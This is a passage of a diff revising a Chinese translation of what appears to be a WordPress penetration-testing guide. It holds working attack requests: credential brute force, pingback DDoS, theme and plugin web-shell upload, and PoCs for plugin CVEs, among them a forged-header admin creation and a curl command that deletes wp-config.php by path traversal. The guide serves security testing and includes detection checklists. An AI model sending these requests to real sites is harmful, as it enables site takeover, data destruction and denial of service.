-d "'" -f2 ``` -### 提取版本信息(通用) +### 一般性提取版本信息 ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### 插件和主题 -你可能无法找到所有插件和主题。为了发现它们,你需要**主动对插件和主题列表进行 Brute Force**(希望有自动化工具包含这些列表)。 +你可能无法找到所有可能的插件和主题。为了发现全部,你需要 **主动 Brute Force 插件和主题列表**(幸运的是通常有包含这些列表的自动化工具)。 ### 用户 -- **ID Brute:** 通过 Brute Forcing 用户 ID,可从 WordPress 站点获取有效用户: +- **ID Brute:** 通过对用户 ID 进行 Brute Forcing,你可以从 WordPress 站点获取有效用户: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -如果响应为 **200** 或 **30X**,则表示该 id 是 **有效的**。如果响应为 **400**,则该 id **无效**。 +如果响应是 **200** 或 **30X**,则表示该 id 为 **有效**。如果响应是 **400**,则表示该 id 为 **无效**。 -- **wp-json:** 你还可以尝试通过查询来获取有关用户的信息: +- **wp-json:** 你也可以通过查询来获取有关用户的信息: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -另一个会显示一些用户信息的 `/wp-json/` 端点是: +另一个可以揭示一些有关用户信息的 `/wp-json/` 端点是: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -注意,该端点仅会暴露曾发表过文章的用户。**仅会提供启用了此功能的用户的信息**。 +注意此端点仅会暴露发布过文章的用户。**仅会提供启用了此功能的用户的信息**。 -另请注意,**/wp-json/wp/v2/pages** 可能会 leak IP 地址。 +另请注意 **/wp-json/wp/v2/pages** 可能会泄露 IP 地址。 -- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,**消息** 会 **不同**,用以指示 **用户名是否存在**。 +- **登录用户名枚举**:当通过 **`/wp-login.php`** 登录时,**提示信息**会**不同**,以指示该**用户名是否存在**。 ### XML-RPC -如果 `xml-rpc.php` 启用,你可以执行 credentials brute-force,或利用它对其他资源发起 DoS attacks。(例如,你可以自动化此过程[ using this](https://github.com/relarizky/wpxploit))。 +如果 `xml-rpc.php` 启用,你可以执行 credentials brute-force 或用它对其他资源发起 DoS 攻击。(例如,你可以自动化此过程[ using this](https://github.com/relarizky/wpxploit))。 -要检查它是否启用,尝试访问 _**/xmlrpc.php**_ 并发送以下请求: +要查看它是否启用,尝试访问 _**/xmlrpc.php**_ 并发送此请求: **检查** ```html @@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是一些可以用来 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送如下内容: +**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是可以用来 brute-force credentials 的一些方法。如果你能找到其中任意一个,你可以发送像这样的内容: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -如果凭证无效,则在 200 响应中应出现消息 _"Incorrect username or password"_。 +当凭证无效时,HTTP 200 响应中应出现消息 _"用户名或密码不正确"_。 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) -![](<../..//images/image (721).png>) +![](<../../images/image (721).png>) -使用正确的凭证可以上传文件。在响应中会出现该路径 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +使用正确的凭证可以上传文件。在响应中会显示路径 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,19 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -另外,有一种 **更快的方式** 使用 **`system.multicall`** 对凭证进行暴力破解,因为你可以在同一个请求中尝试多个凭证: +此外还有一种**更快的方法**来对凭证进行暴力破解,使用 **`system.multicall`** 可以在同一个请求中尝试多个凭证:
**绕过 2FA** -此方法是为程序而非人工交互设计的,且较为古老,因此不支持 2FA。 -因此,如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录,从而绕过 2FA**。注意,你无法执行通过控制台能做的所有操作,但你仍可能达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。 +此方法面向程序而非人工,且较为陈旧,因此不支持 2FA。所以,如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录以绕过 2FA**。请注意,你无法执行通过控制台可以做的所有操作,但正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中所解释的,你仍然可能获得 RCE。 **DDoS 或端口扫描** -如果你能在方法列表中找到 _**pingback.ping**_,你可以让 Wordpress 向任意主机/端口发送任意请求。\ -这可以用来让 **成千上万** 的 Wordpress **站点** 去 **访问** 同一 **地址**(从而在该处触发 **DDoS**),或者用来让 **Wordpress** 去 **扫描** 某些内部 **网络**(你可以指定任意端口)。 +如果你能在方法列表中找到 _**pingback.ping**_,你就可以让 Wordpress 向任意主机/端口 发送任意请求。\ +这可用于让 **成千上万** 的 Wordpress **站点** 去 **访问** 同一个 **目标**(从而在该处造成 **DDoS**),或者你也可以用它让 **Wordpress** 去 **扫描** 某些内部 **网络**(你可以指定任何端口)。 ```html pingback.ping @@ -192,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -如果你得到 **faultCode** 值大于 **0**(17),则表示端口是开放的。 +如果你得到 **faultCode** 的值 **大于** **0** (17),那就意味着端口是开放的。 -查看前一节中对 **`system.multicall`** 的用法,学习如何滥用此方法来造成 DDoS。 +查看上一节中 **`system.multicall`** 的用法,了解如何滥用此方法来引发 DDoS。 **DDoS** ```html @@ -210,15 +209,15 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### wp-cron.php DoS -该文件通常存在于 Wordpress 站点的根目录:**`/wp-cron.php`**\ -当此文件被**访问**时,会执行一次**“重”** MySQL **查询**,因此**攻击者**可以利用它**导致** **DoS**。\ -此外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(任何客户端请求任何 Worpress 页面时),在高流量站点上可能导致问题(DoS)。 +该文件通常位于 Wordpress 站点根目录:**`/wp-cron.php`**\ +当访问该文件时会执行一个“耗费资源”的 MySQL 查询,因此可被攻击者利用导致 DoS。\ +另外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(任何客户端请求任何 Wordpress 页面时),在高流量站点可能导致问题(DoS)。 -建议禁用 Wp-Cron,并在主机内创建一个真实的 cronjob,以定期执行所需操作(避免引发问题)。 +建议禁用 Wp-Cron,并在主机上创建真实的 cronjob 定期执行所需任务(以避免问题)。 ### /wp-json/oembed/1.0/proxy - SSRF -尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Worpress 站点可能会向你发起请求。 +尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Wordpress 站点可能会向你发起请求。 This is the response when it doesn't work: @@ -231,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -该工具会检查是否存在 **methodName: pingback.ping** 以及路径 **/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。 +该工具检查是否存在 **methodName: pingback.ping** 和 路径 **/wp-json/oembed/1.0/proxy**,如果存在则尝试利用它们。 ## 自动化工具 ```bash @@ -239,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## 通过覆盖一位获取访问权限 +## 通过覆盖一个 bit 获得访问权限 -这更多是个好奇的例子,而不是真正的攻击。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件的 1 bit。所以你可以翻转文件 `/var/www/html/wp-includes/user.php` 的位置 `5389`,以 NOP 掉 NOT (`!`) 操作。 +与其说是一次真正的攻击,不如说是个好奇的实验。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件的 1 个 bit。因此你可以翻转文件 `/var/www/html/wp-includes/user.php` 的偏移 `5389` 处的位,把 NOT (`!`) 操作变成 NOP。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **面板 RCE** -**修改所用主题中的 php(需要 admin 凭证)** +**修改所用主题中的 php(需要 admin credentials)** -外观 → 主题编辑器 → 404 Template(在右侧) +Appearance → Theme Editor → 404 Template(在右侧) -将内容更改为 php shell: +将内容改为 php shell: ![](<../../images/image (384).png>) -在互联网上搜索如何访问该已更新页面。在本例中,你需要访问: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +在网上搜索如何访问该已更新的页面。本例中你需要访问: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -270,16 +269,16 @@ use exploit/unix/webapp/wp_admin_shell_upload ### PHP plugin -可能可以将 .php 文件作为 plugin 上传。\ -创建你的 php backdoor,例如使用: +可能可以上传 .php 文件作为插件。\ +使用例如下面的方法创建你的 php backdoor: ![](<../../images/image (183).png>) -然后添加一个新的 plugin: +然后添加一个新的插件: ![](<../../images/image (722).png>) -Upload plugin 并按 Install Now: +上传插件并按 Install Now: ![](<../../images/image (249).png>) @@ -287,7 +286,7 @@ Upload plugin 并按 Install Now: ![](<../../images/image (70).png>) -这看起来可能不会有任何反应,但如果你转到 Media,你会看到上传的 shell: +表面上可能看起来没有任何反应,但如果你进入 Media,你会看到你的 shell 已上传: ![](<../../images/image (462).png>) @@ -297,30 +296,30 @@ Upload plugin 并按 Install Now: ### Uploading and activating malicious plugin -该方法涉及安装已知存在漏洞的恶意 plugin,并可被利用以获取 web shell。该过程通过 WordPress dashboard 执行,步骤如下: +此方法涉及安装已知存在漏洞的恶意插件并利用它来获取 web shell。该过程通过 WordPress dashboard 按如下方式进行: -1. **Plugin Acquisition**: 从诸如 Exploit DB 的来源获取该 plugin,例如 [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- 导航到 WordPress dashboard,然后进入 `Dashboard > Plugins > Upload Plugin`。 -- 上传下载的 plugin 的 zip 文件。 -3. **Plugin Activation**: plugin 安装成功后,必须通过 dashboard 激活。 +- 在 WordPress dashboard 中,转到 `Dashboard > Plugins > Upload Plugin`。 +- 上传已下载插件的 zip 文件。 +3. **Plugin Activation**: 插件成功安装后,必须通过 dashboard 进行激活。 4. **Exploitation**: -- 安装并激活 reflex-gallery plugin 后,由于其已知存在漏洞,可以对其进行利用。 -- Metasploit framework 为该漏洞提供了 exploit。通过加载相应模块并执行特定命令,可建立 meterpreter 会话,从而获取对站点的未授权访问。 -- 请注意,这只是利用 WordPress 站点的众多方法之一。 +- 当安装并激活了插件 "reflex-gallery" 后,可以利用该已知存在漏洞的插件进行攻击。 +- Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令,可以建立一个 meterpreter 会话,从而获得对站点的未授权访问。 +- 需要注意的是,这只是利用 WordPress 站点的众多方法之一。 -内容包括展示在 WordPress 仪表盘中安装和激活 plugin 步骤的图示。不过需要注意的是,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。该信息应负责任地使用,并仅在合法情境下,例如具有明确许可的 penetration testing 时使用。 +内容包含描绘在 WordPress dashboard 中安装和激活插件步骤的可视化辅助图像。但重要的是要注意,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,并仅在合法情境中,例如获得明确许可的 penetration testing 时使用。 **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## 从 XSS 到 RCE +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)** 或其他 WordPress 的严重漏洞。更多信息请查看 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 Wordpress 6.X.X、5.X.X 和 4.X.X 版本的支持,并允许: -- _**Privilege Escalation:**_ 在 WordPress 中创建一个用户。 -- _**(RCE) Custom Plugin (backdoor) Upload:**_ 将你的自定义 plugin (backdoor) 上传到 WordPress。 -- _**(RCE) Built-In Plugin Edit:**_ 编辑 WordPress 内置的 plugin。 -- _**(RCE) Built-In Theme Edit:**_ 编辑 WordPress 内置的 theme。 -- _**(Custom) Custom Exploits:**_ 为第三方 WordPress plugins/themes 提供自定义 exploits。 +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)** 或 WordPress 中其他严重漏洞的脚本。更多信息请查看 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 Wordpress Versions 6.X.X, 5.X.X 和 4.X.X 的支持,并允许: +- _**Privilege Escalation:**_ 在 WordPress 中创建用户。 +- _**(RCE) Custom Plugin (backdoor) Upload:**_ 将你的自定义插件(backdoor)上传到 WordPress。 +- _**(RCE) Built-In Plugin Edit:**_ 编辑 WordPress 内置插件。 +- _**(RCE) Built-In Theme Edit:**_ 编辑 WordPress 内置主题。 +- _**(Custom) Custom Exploits:**_ 为第三方 WordPress 插件/主题提供自定义 exploit。 ## Post Exploitation @@ -336,25 +335,25 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### 攻击面 -了解 Wordpress 插件如何暴露功能是发现其功能性漏洞的关键。你可以在下面的要点中看到插件可能如何暴露功能,以及一些易受攻击插件的示例,详见 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +了解 Wordpress 插件如何暴露功能对于发现其功能中的漏洞至关重要。你可以在下面的要点中看到插件可能如何暴露功能,以及在 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) 中一些易受攻击插件的示例。 - **`wp_ajax`** -插件暴露给用户功能的方式之一是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或认证漏洞。此外,这类函数很常见地将认证和授权都基于 wordpress nonce 的存在,而 **任何在该 Wordpress 实例中已验证的用户都可能拥有**(与其角色无关)。 +插件将功能暴露给用户的方式之一是通过 AJAX handlers。这些处理程序可能包含逻辑错误、authorization 或 authentication 漏洞。此外,这些函数很常见地会基于 wordpress nonce 的存在来同时判断 authentication 和 authorization,而该 nonce **any user authenticated in the Wordpress instance might have**(与其角色无关)。 -下面是可用于在插件中暴露功能的函数: +这些是可以用来在插件中暴露函数的函数: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**使用 `nopriv` 会使该 endpoint 可被任何用户访问(甚至未认证的用户)。** +**使用 `nopriv` 会使该 endpoint 对任何用户可访问(甚至未认证的用户)。** > [!CAUTION] -> 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户的授权,该函数通常只是检查用户是否已登录,并不会检查用户的角色。因此低权限用户可能能够访问高权限操作。 +> 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户的授权,`wp_verify_nonce` 通常只是检查用户是否已登录,并不会检查用户的角色。因此,低权限用户可能能够访问高权限操作。 - **REST API** -也可以通过在 WordPress 中使用 `register_rest_route` 函数注册 REST API 来公开函数: +也可以通过在 wordpress 中使用 `register_rest_route` 函数注册 REST API 路由来暴露函数: ```php register_rest_route( $this->namespace, '/get/', array( @@ -364,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method. +`permission_callback` 是一个回调函数,用于检查给定用户是否被授权调用该 API 方法。 -**If the built-in `__return_true` function is used, it'll simply skip user permissions check.** +**如果使用内置的 `__return_true` 函数,它会直接跳过用户权限检查。** - **直接访问 php 文件** -当然,Wordpress 使用 PHP,插件内部的文件可以从 web 直接访问。因此,如果某个插件暴露了仅需访问该文件即可触发的易受攻击功能,那么任何用户都可以利用它。 +当然,Wordpress 使用 PHP,插件内的文件可以直接通过 Web 访问。因此,如果某个插件暴露了只需访问文件即可触发的易受攻击功能,该功能将被任何用户利用。 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -一些插件为内部集成或反向代理实现了“trusted header”快捷方式,然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未被上游组件以加密方式绑定到请求,攻击者就可以伪造它并以管理员身份访问有权限的 REST 路由。 +一些插件为内部集成或 reverse proxies 实现了“trusted header”快捷方式,并使用该 header 为 REST 请求设置当前用户上下文。如果该 header 没有被上游组件以加密方式绑定到请求,攻击者可以伪造它,从而以管理员身份访问有特权的 REST 路由。 -- Impact: 未认证的权限提升到 admin,通过核心 users REST 路由创建新的管理员。 -- Example header: `X-Wcpay-Platform-Checkout-User: 1`(强制 user ID 1,通常是第一个管理员帐号)。 -- Exploited route: `POST /wp-json/wp/v2/users`,使用提升的 role 数组。 +- Impact: 未经认证即可通过 core users REST route 创建新的管理员,从而实现权限提升为管理员。 +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (强制使用用户 ID 1,通常是第一个管理员账户)。 +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -392,31 +391,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -为什么它有效 +Why it works -- 该插件将客户端可控的 header 映射到认证状态,并跳过 capability checks。 -- WordPress core 期望此路由具有 `create_users` capability;该插件利用此点,通过直接从 header 设置当前用户上下文来绕过它。 +- 插件将客户端可控的 header 映射到认证状态并跳过能力检查。 +- WordPress core 期望该路由具有 `create_users` 能力;该插件利用 header 直接设置当前用户上下文以绕过此检查。 -预期成功指标 +Expected success indicators -- 返回 HTTP 201,且响应体为描述已创建用户的 JSON。 -- 在 `wp-admin/users.php` 中可见一个新的管理员用户。 +- HTTP 201 with a JSON body describing the created user. +- A new admin user visible in `wp-admin/users.php`. -检测清单 +Detection checklist - Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). -- 审查 REST 注册,查找缺乏健壮 `permission_callback` 检查、且依赖请求 header 的特权回调。 -- 查找在 REST 处理器内仅以 header 值为门控的核心用户管理函数 (`wp_insert_user`, `wp_create_user`) 的使用。 +- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers. +- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values. -### 通过 wp_ajax_nopriv 的未经认证任意文件删除 (Litho Theme <= 3.0) +### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: +WordPress 主题和插件经常通过 `wp_ajax_` 和 `wp_ajax_nopriv_` 钩子公开 AJAX 处理程序。 当使用 **_nopriv_** 变体时 **回调会变为未认证访客可访问**,所以任何敏感操作还必须额外实现: 1. 一个 **capability check**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及 -2. 一个通过 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及 -3. **严格的输入消毒/验证**。 +2. 一个使用 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及 +3. **严格的输入过滤 / 验证**。 -The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): +Litho 多用途主题 (< 3.1) 在 *Remove Font Family* 功能中遗漏了这三项控制,最终随包发布了以下代码(已简化): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -435,35 +434,37 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -* **未经身份验证的访问** – 已注册 `wp_ajax_nopriv_` 钩子。 -* **No nonce / capability check** – 任何访客都可以访问该端点。 -* **No path sanitisation** – 用户可控的 `fontfamily` 字符串在未过滤的情况下被拼接到文件系统路径中,允许经典的 `../../` 目录遍历。 +这个代码片段引入的问题: + +* **未认证访问** – 已注册 `wp_ajax_nopriv_` hook。 +* **没有 nonce / capability 检查** – 任何访客都可以访问该 endpoint。 +* **未对路径进行清理** – 用户控制的 `fontfamily` 字符串被拼接到文件系统路径且未经过过滤,允许经典的 `../../` 遍历。 #### 利用 -攻击者可以通过发送一个 HTTP POST 请求,删除位于 **uploads 基目录以下** 的任意文件或目录(通常是 `/wp-content/uploads/`): +攻击者可以通过发送一个单一的 HTTP POST 请求删除位于 **uploads 基目录以下**(通常为 `/wp-content/uploads/`)的任意文件或目录: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -因为 `wp-config.php` 位于 *uploads* 之外,默认安装中四个 `../` 就足够了。删除 `wp-config.php` 会在下一次访问时强制 WordPress 进入 *安装向导*,从而允许完全接管站点(攻击者只需提供新的 DB 配置并创建一个管理员用户)。 +Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -其他有影响的目标包括插件/主题的 `.php` 文件(用于破坏安全插件)或 `.htaccess` 规则。 +其他有重大影响的目标包括插件/主题的 `.php` 文件(用于破坏安全插件)或 `.htaccess` 规则。 -#### 检测清单 +#### Detection checklist -* 任何调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()` 等)的 `add_action( 'wp_ajax_nopriv_...')` 回调。 -* 将未经过滤的用户输入串联进路径(查找 `$_POST`, `$_GET`, `$_REQUEST`)。 +* 任何调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 等)的 `add_action( 'wp_ajax_nopriv_...')` 回调。 +* 将未经过滤的用户输入拼接到路径中的情况(查找 `$_POST`, `$_GET`, `$_REQUEST`)。 * 缺少 `check_ajax_referer()` 和 `current_user_can()`/`is_user_logged_in()`。 --- -### 通过过时角色恢复和缺失授权进行的权限提升 (ASE "View Admin as Role") +### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -许多插件通过在 user meta 中保存原始角色以实现 "view as role" 或临时角色切换功能,以便之后还原。如果还原流程仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查 capabilities 和有效的 nonce,这就会成为一次垂直权限提升。 +许多插件通过将原始角色保存在 user meta 中以便稍后恢复,来实现“以角色查看”或临时角色切换功能。如果恢复路径仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查权限能力和有效的 nonce,那么这会成为一次垂直权限提升。 -在实际案例中,Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)存在此问题。reset 分支在内部数组 `$options['viewing_admin_as_role_are']` 中出现该用户名时,会根据 `reset-for=` 恢复角色,但在移除当前角色并从 user meta `_asenha_view_admin_as_original_roles` 重新添加已保存角色之前,既没有执行 `current_user_can()` 检查,也没有进行 nonce 验证: +在实际案例中,在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个例子。reset 分支在用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 时,会基于 `reset-for=` 恢复角色,但在移除当前角色并从 user meta `_asenha_view_admin_as_original_roles` 重新添加保存的角色之前,既没有执行 `current_user_can()` 检查,也没有验证 nonce: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -480,9 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } ``` 为什么可被利用 -- 信任 `$_REQUEST['reset-for']` 和一个插件选项,而没有进行服务端授权。 -- 如果某用户之前在 `_asenha_view_admin_as_original_roles` 中保存了更高权限并被降级,他们可以通过访问重置路径恢复这些权限。 -- 在某些部署中,任何已认证用户都可以为仍存在于 `viewing_admin_as_role_are` 的另一个用户名触发重置(授权缺陷)。 +- 信任 `$_REQUEST['reset-for']` 和一个插件选项,但没有进行服务器端授权。 +- 如果某用户之前的更高权限保存在 `_asenha_view_admin_as_original_roles` 中并被降级,他们可以通过访问重置路径来恢复这些权限。 +- 在某些部署中,任何已认证用户都可以为仍保存在 `viewing_admin_as_role_are` 的另一个用户名触发重置(授权错误)。 利用(示例) ```bash @@ -492,23 +493,23 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -在易受攻击的构建中,这会移除当前角色并重新添加已保存的原始角色(例如 `administrator`),从而实现权限提升。 +在易受攻击的构建中,这会移除当前角色并重新添加已保存的原始角色(例如 `administrator`),从而实际上提升权限。 -检测清单 +Detection checklist -- 查找在 user meta 中持久化 “original roles” 的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。 -- 识别重置/还原路径,这些路径: -- 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。 -- 通过 `add_role()` / `remove_role()` 修改角色,而没有使用 `current_user_can()` 和 `wp_verify_nonce()` / `check_admin_referer()`。 -- 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于操作者的能力。 +- 寻找将“原始角色”持久化到 user meta 的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。 +- 识别执行重置/恢复的路径,这些路径: + - 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。 + - 通过 `add_role()` / `remove_role()` 修改角色,但未使用 `current_user_can()` 和 `wp_verify_nonce()` / `check_admin_referer()`。 + - 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于操作者的权限能力。 --- -### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### 在公共 init 钩子上通过受 cookie 信任的用户切换实现的未认证权限提升(Service Finder “sf-booking”) -一些插件将用户切换辅助函数挂到公共的 `init` hook,并从客户端可控的 cookie 中推断身份。如果代码在未验证身份、能力和有效 nonce 的情况下调用 `wp_set_auth_cookie()`,任何未认证的访问者都可以强制以任意用户 ID 登录。 +有些插件会将用户切换的辅助函数挂到公共的 `init` 钩子,并从客户端可控的 cookie 推断身份。如果代码在未验证身份、权限及有效 nonce 的情况下调用 `wp_set_auth_cookie()`,任何未认证的访问者都可以强制以任意用户 ID 登录。 -Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): +典型的易受攻击模式(简化自 Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -539,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` 为何可被利用 -- 公共的 `init` hook 使得该处理程序对未认证的用户可达(没有 `is_user_logged_in()` 保护)。 -- 身份来自于可由客户端修改的 cookie(`original_user_id`)。 -- 对 `wp_set_auth_cookie($uid)` 的直接调用会将请求者以该用户身份登录,而不会进行任何 capability/nonce 检查。 +- 公开的 `init` hook 使得处理程序对未认证的用户可访问(没有 `is_user_logged_in()` 保护)。 +- 身份来自客户端可修改的 cookie(`original_user_id`)。 +- 直接调用 `wp_set_auth_cookie($uid)` 会将请求者以该用户的身份登录,且没有任何 capability/nonce 检查。 -利用(无需身份验证) +利用(未认证) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -553,32 +554,32 @@ Connection: close ``` --- -### WAF 对 WordPress/plugin CVEs 的考虑 +### WAF 对 WordPress/plugin CVEs 的考量 -通用的 edge/server WAFs 针对广泛模式(SQLi, XSS, LFI)进行调优。许多高危的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非检测引擎理解 WordPress 路由和 plugin 语义,否则这些请求看起来像正常流量。 +通用的边缘/服务器 WAF 通常针对广泛模式进行调整(SQLi、XSS、LFI)。许多高影响的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非引擎理解 WordPress 